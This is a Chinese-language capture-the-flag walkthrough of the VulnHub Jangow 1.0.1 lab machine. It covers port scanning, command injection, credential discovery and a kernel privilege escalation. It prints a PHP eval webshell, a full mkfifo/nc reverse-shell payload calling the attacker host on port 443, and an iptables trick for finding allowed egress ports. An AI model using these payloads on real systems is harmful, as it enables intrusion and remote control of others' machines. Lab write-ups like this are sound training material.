前期准備:
靶機下載地址:https://www.vulnhub.com/entry/jangow-101,754/
kali攻擊機IP:192.168.11.128
靶機地址:192.168.11.169
一、信息收集
1.使用nmap對目標靶機進行掃描
nmap -p 1-65535 -A -sV 192.168.11.169
發現開放了21和80端口,查看一下80端口。
2. 80端口
檢查頁面后發現Buscar頁面有個可疑的地方:
簡單做一下測試:
有命令執行,那就寫個反彈 shell,靶機中有 nc 但是連不上,bash 也不行:
試過 python 的也不行,那就直接寫入一句話木馬試一下:
echo '<?php eval($_POST["sain"]);' > sain.php
返回200,應該上傳成功了,用蟻劍鏈接一下:
連接成功。簡單查看一下文件,在/var/www/html/site/wordpress下也發現了配置文件:
除此之外發現在/var/www/html下有一個./backup文件:
發現都是數據庫的用戶名和密碼,但是jangow01和系統名字一樣,所以我就嘗試下直接登錄系統,發現可以直接登陸進去:
username = "jangow01"
password = "abygurl69"
寫入反彈shell連接,然后發現 nc 有些參數用不了:
除此之外也嘗試了好幾種反彈shell,都不行,那可能存在端口限制,試了好幾個端口后發現443端口能用(其實一般的服務器做端口限制都不會限制80和443),當然也可以用腳本探測,先在 kali 上把 1-65535 這所有端口綁定某個端口上:
sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234
然后監聽 1234:nc -lvvp 1234
在靶機上簡單寫一個腳本探測一下:
運行:
此時 nc 上:
發現有個連接能連上,看一下 out.txt:
探測出來 443 端口。那就寫一個反彈 shell:
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.128 443 >/tmp/f');?>
kali上開啟監聽(因為前面做了端口綁定,那直接監聽 1234 即可),並且訪問反彈shell的php文件:
連接成功,升級一下 shell。
在home目錄下發現一個user.txt文件:
三、提權
查看一下系統版本,看看有沒有可利用的漏洞:
靶機環境是ubuntu16.04,使用 searchsploit 看看有沒有什么可利用的漏洞
發現 45010.c ,看一下怎么利用:
說 gcc 運行會生成一個文件,運行生成的文件即可,那把45010.c文件傳送到靶機中,開個簡單http服務:
賦一下權限(一開始我用的 jangow01 用戶做的,發現無法賦權,后來試了下 www-data 可以):
先用 gcc 運行一下45010.c文件:
生成一個 a.out 文件,運行a.out文件,得到root權限,查看flag:
完成。